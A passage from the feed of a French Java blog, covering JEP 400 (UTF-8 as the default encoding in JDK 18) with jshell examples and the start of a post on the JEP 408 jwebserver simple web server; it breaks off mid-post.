&lt;li&gt;&lt;a href=&quot;#cohérence_de_la_plateforme&quot;&gt;Cohérence de la plateforme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#compatibilité&quot;&gt;Compatibilité&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#vérification&quot;&gt;Vérification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#compilation&quot;&gt;Compilation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;encodage par défaut était calculé au démarrage en fonction du système d&amp;#8217;exploitation, les paramètres régionaux de l&amp;#8217;utilisateur ou d&amp;#8217;autres facteurs.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, qui n&amp;#8217;a jamais eu ce type de caractère à l&amp;#8217;écran ou dans ces fichiers ? :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;UTF-8 par dÃ©faut&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La solution généralement était de préciser la propriété &lt;code&gt;-Dfile.encoding=&amp;#8230;&amp;#8203;&lt;/code&gt;. Cela permet de fixer l&amp;#8217;encodage par défaut.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est de faire en sorte que &lt;code&gt;UTF-8&lt;/code&gt; soit l&amp;#8217;encodage par défaut quelque soit le système.
Cela permet de simplifier, d&amp;#8217;améliorer la portabilité et notamment la cohérence de la plateforme.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_choix&quot;&gt;Le choix&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le choix du jeu de caractère &lt;code&gt;UTF-8&lt;/code&gt; fut logique. C&amp;#8217;est encodage le plus utilisé sur le web (97,7% à ce jour). C&amp;#8217;est aussi un encodage standard au niveau de XML et JSON. Java l&amp;#8217;utilise déjà par défaut pour l&amp;#8217;API NIO.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A partir du JDK 18, la JVM prendra l&amp;#8217;encodage UTF-8 par défaut. Nous pouvons le vérifier avec &lt;code&gt;jshell&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jshell&amp;gt; java.nio.charset.Charset.defaultCharset()
$4 ==&amp;gt; UTF-8&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Pensez à importer le package &lt;code&gt;java.nio.charset&lt;/code&gt; afin de pouvoir manipuler directement la classe &lt;code&gt;Charset&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour bien comprendre, nous configurons notre système pour utiliser l&amp;#8217;encodage ISO-8859-15. Pour vérifier, nous utilisons la commande &lt;code&gt;locale&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;LANG=fr_FR@euro
...&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ainsi, avec un JDK 17, nous obtenons&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jshell&amp;gt; Charset.defaultCharset()
$4 ==&amp;gt; ISO-8859-15&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Alors qu&amp;#8217;avec un JDK 18, nous obtenons toujours UTF-8&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jshell&amp;gt; Charset.defaultCharset()
$4 ==&amp;gt; UTF-8&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si nous lançons un JDK 17 en précisant la propriété &lt;code&gt;file.encoding=&quot;UTF-8&quot;&lt;/code&gt;, nous obtenons bien l&amp;#8217;encodage UTF-8 bien que notre système est en ISO-8859-15.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jshell&amp;gt; Charset.defaultCharset()
$4 ==&amp;gt; UTF-8&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;passage_de_propriété_pour_jshell&quot;&gt;Passage de propriété pour jshell&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour les tests, nous sommes amenés à devoir modifier les propriétés de la JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour passer une propriété avec jshell, il faut utiliser l&amp;#8217;option -R. Nous obtenons la ligne de commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;/../jdk-xy/bin/jshell -R-Dfile.encoding=&quot;UTF-8&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;préparation&quot;&gt;Préparation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela était en préparation depuis quelques temps.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;nouvelle_propriété&quot;&gt;Nouvelle propriété&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK 17 a introduit une nouvelle propriété &lt;code&gt;native.encoding&lt;/code&gt;. Cette propriété permet de connaitre l&amp;#8217;encodage du système hôte. Nous comprenons d&amp;#8217;autant plus l&amp;#8217;intérêt de cette propriété maintenant.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au delà de cette propriété, il est à noter que les consoles standard ou d&amp;#8217;erreurs restent avec l&amp;#8217;encodage natif.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Et le JDK 18 apporte une nouvelle méthode &lt;code&gt;charset()&lt;/code&gt; sur la classe &lt;code&gt;PrintStream&lt;/code&gt; pour connaitre directement l&amp;#8217;encodage utilisé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2022/01/printstream-charset.png&quot; alt=&quot;printstream charset&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet d&amp;#8217;en tenir compte au niveau des flux.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jshell&amp;gt; System.out.charset()
$5 ==&amp;gt; ISO-8859-15
jshell&amp;gt; System.err.charset();
$6 ==&amp;gt; ISO-8859-15&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;fichier_de_propriétés&quot;&gt;Fichier de propriétés&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour rappel, c&amp;#8217;est seulement à partir du JDK 9 que les fichiers de propriétés sont au format UTF-8 via la &lt;a href=&quot;https://openjdk.java.net/jeps/226&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 226: UTF-8 Property Resource Bundles&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;cohérence_de_la_plateforme&quot;&gt;Cohérence de la plateforme&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je vous parlais de cohérence de la plateforme. Il faut effectivement savoir que les API n&amp;#8217;étaient pas uniformes pour les valeurs par défaut.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons l&amp;#8217;exemple de la classe &lt;code&gt;java.io.FileWriter&lt;/code&gt; avec deux constructeurs :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;FileWriter(File file)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;FileWriter(File file, Charset charset)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le premier constructeur dépend du jeu de caractère par défaut &lt;code&gt;Charset.defaultCharset()&lt;/code&gt;. Donc ce dernier dépendait du système et de la configuration du système.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, si je prends la classe &lt;code&gt;java.nio.Files&lt;/code&gt; avec les méthodes &lt;code&gt;lines&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Files.lines(Path path)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Files.lines(Path path, Charset charset)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette fois, la méthode lit le fichier avec l&amp;#8217;encodage UTF-8. Cela est le cas pour l&amp;#8217;ensemble des méthodes de la classe &lt;code&gt;Files&lt;/code&gt; et de l&amp;#8217;api NIO.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, c&amp;#8217;est plus simple, toutes les API sont en UTF-8 par défaut.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;compatibilité&quot;&gt;Compatibilité&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La compatibilité reste un point fort de Java et une des préoccupations majeures lors des changements. L&amp;#8217;équipe a prévu de garder la compatibilité avec l&amp;#8217;ancien mode de calcul de l&amp;#8217;encodage. Pour cela, il faut mettre à la valeur COMPAT à la propriété &lt;code&gt;file.encoding&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Voici le résultat sur un système Linux où la locale est toujours à ISO-8859-15.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;/../jdk-xy/bin/jshell -R-Dfile.encoding=&quot;COMPAT&quot;
  Welcome to JShell -- Version 18-ea
|  For an introduction type: /help intro

jshell&amp;gt; System.getProperty(&quot;file.encoding&quot;)
$1 ==&amp;gt; &quot;ISO-8859-15&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;vérification&quot;&gt;Vérification&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Si vous êtes concerné par le changement d&amp;#8217;encodage, vous pouvez tester simplement l&amp;#8217;impact en utilisant la propriété &lt;code&gt;file.encoding&lt;/code&gt;=&lt;code&gt;UTF-8&lt;/code&gt;. Cela donne la commande suivante&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;/../jdk-[8-17]/bin/java -Dfile.encoding=UTF-8 ....&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Il est à noter que vous pouvez le faire tout de suite avec votre JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;compilation&quot;&gt;Compilation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Parlons de compilation, mais pourquoi ?&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Tout simplement parce que le compilateur Javac est aussi concerné. Ce dernier va lire et écrire les fichiers en UTF-8.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De la même manière, vous pouvez vous assurer d&amp;#8217;ores et déjà du bon fonctionnement en précisant la propriété &lt;code&gt;file.encoding&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;/../jdk-[8-17]/bin/javac -Dfile.encoding=UTF-8 ....&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Bien que je ne le conseille pas.&lt;/strong&gt; Puisque les sources sont en UTF-8, il est possible d&amp;#8217;utiliser des accents si nous le souhaitons.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;class Hello {

   public static void main(String[] args) {
      String téléphone = &quot;01.02.03.04.05&quot;;
      System.out.println(&quot;Tél : &quot; + téléphone);
   }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/400&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 400: UTF-8 by Default&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/io/FileWriter.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;javadoc FilteWriter&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/nio/file/Files.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;javadoc Files&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://w3techs.com/technologies/overview/character_encoding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;(en) Encodage le plus utilisé sur le web&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/226&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 226: UTF-8 Property Resource Bundles&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 408, Un Simple Serveur Web arrive en JDK18!</title>
      <link>https://www.lilian-benoit.fr/2022/01/JEP-408-Simple-Web-Server-arrive-en-JDK-18.html</link>
      <pubDate>dim., 2 janv. 2022 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2022/01/JEP-408-Simple-Web-Server-arrive-en-JDK-18.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#ligne_de_commande&quot;&gt;Ligne de commande&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#utilisation&quot;&gt;Utilisation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#simuler_un_partenaire_json&quot;&gt;Simuler un partenaire json&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#api&quot;&gt;API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jshell&quot;&gt;jshell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est que le développeur Java puisse avoir la possibilité de lancer un serveur web, comme cela est possible en node ou python.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est de fournir un serveur web simple pour renvoyer des pages statiques, sans support de CGI ou Servlet.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De même, il n&amp;#8217;est pas là pour fournir un serveur évolué. Donc, pas de concurrence avec Eclipse Jetty, Netty et Apache Tomcat, ni avec Apache Httpd ou nginx.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;ligne_de_commande&quot;&gt;Ligne de commande&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;une des nouveautés est l&amp;#8217;introduction de la commande &lt;code&gt;jwebserver&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, pour démarrer le serveur, il suffit de taper la commande suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jwebserver&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous obtenons les messages suivants :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;Binding to loopback by default. For all interfaces use &quot;-b 0.0.0.0&quot; or &quot;-b ::&quot;.
Serving /tmp and subdirectories on 127.0.0.1 port 8000
URL http://127.0.0.1:8000/&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le serveur écoute par défaut uniquement sur la boucle locale &lt;code&gt;loopback&lt;/code&gt;. Un message nous invite à utiliser l&amp;#8217;option pour préciser l&amp;#8217;interface ou tous les interfaces.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;D&amp;#8217;autres options sont aussi disponibles (format court et format long):&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;-b&lt;/strong&gt; ou &lt;strong&gt;--bind-address&lt;/strong&gt; pour préciser l&amp;#8217;interface réseau&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;-p&lt;/strong&gt; ou &lt;strong&gt;--port&lt;/strong&gt; pour préciser le numéro de port&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;-h&lt;/strong&gt; ou &lt;strong&gt;--help&lt;/strong&gt;  pour afficher le message d&amp;#8217;aide&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;-o&lt;/strong&gt; ou &lt;strong&gt;--output&lt;/strong&gt; pour afficher des informations lors de traitement des requêtes. Les valeurs possibles sont : none | info | verbose). Par défaut, c&amp;#8217;est la valeur info.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;-d&lt;/strong&gt; ou &lt;strong&gt;--directory&lt;/strong&gt; pour préciser le répertoire où les fichiers seront retournés. Par défaut, c&amp;#8217;est le répertoire courant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Derrière la commande &lt;code&gt;jwebserver&lt;/code&gt;, c&amp;#8217;est la commande &lt;code&gt;java -m jdk.httpserver&lt;/code&gt; qui est exécuté en réalité. La nouvelle commande est présente uniquement pour simplifier l&amp;#8217;usage.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;utilisation&quot;&gt;Utilisation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons créer un répertoire temporaire sous &lt;strong&gt;/tmp/jdk18&lt;/strong&gt;, par exemple, et nous créons un nouveau répertoire &lt;code&gt;json&lt;/code&gt; à l&amp;#8217;intérieur.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Je lance la commande en précisant ce répertoire &lt;strong&gt;/tmp/jdk18&lt;/strong&gt; comme répertoire racine&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;bash&quot;&gt;jwebserver -d /tmp/jdk18&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec un navigateur, nous allons à l&amp;#8217;url : &lt;code&gt;&lt;a href=&quot;http://localhost:8000/&quot; class=&quot;bare&quot;&gt;http://localhost:8000/&lt;/a&gt;&lt;/code&gt;. Nous obtenons l&amp;#8217;affichage suivant&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2022/01/jwebserver-list-documents.png&quot; alt=&quot;jwebserver list documents&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sans index.html, nous obtenons une page HTML généré qui liste les fichiers et les répertoires de la ressource demandée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous créons une page &lt;code&gt;index.hml&lt;/code&gt; avec le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&amp;lt;h1&amp;gt;Hello for JWebserver&amp;lt;/h1&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En rafraichissant la page, nous obtenons l&amp;#8217;affichage suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2022/01/jwebserver-page-avec-index.png&quot; alt=&quot;jwebserver page avec index&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A ce stade, nous pouvons développer un contenu statique avec HTML, CSS et Javascript.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;simuler_un_partenaire_json&quot;&gt;Simuler un partenaire json&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous allons maintenant créer un fichier &lt;code&gt;bordeaux.json&lt;/code&gt; dans le répertoire &lt;strong&gt;json&lt;/strong&gt; avec le contenu suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;{
  &quot;DD&quot;: {
    &quot;lat&quot;:48.85341,
    &quot;lng&quot;:2.3488
  },
  &quot;DMS&quot;:{
    &quot;lat&quot;:&quot;48º51&apos;12.28\&quot; N&quot;,&quot;lng&quot;:&quot;2º20&apos;55.68\&quot; E&quot;
  },
  &quot;geohash&quot;:&quot;u09tvmqrep&quot;,
  &quot;UTM&quot;:&quot;31U 452230.101975 5411364.70052959&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec le navigateur, nous pouvons aller sur la page &lt;code&gt;&lt;a href=&quot;http://localhost:8000/json&quot; class=&quot;bare&quot;&gt;http://localhost:8000/json&lt;/a&gt;&lt;/code&gt;. Nous obtenons la liste avec le contenu du dossier &lt;strong&gt;json&lt;/strong&gt;, dont notre fichier.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
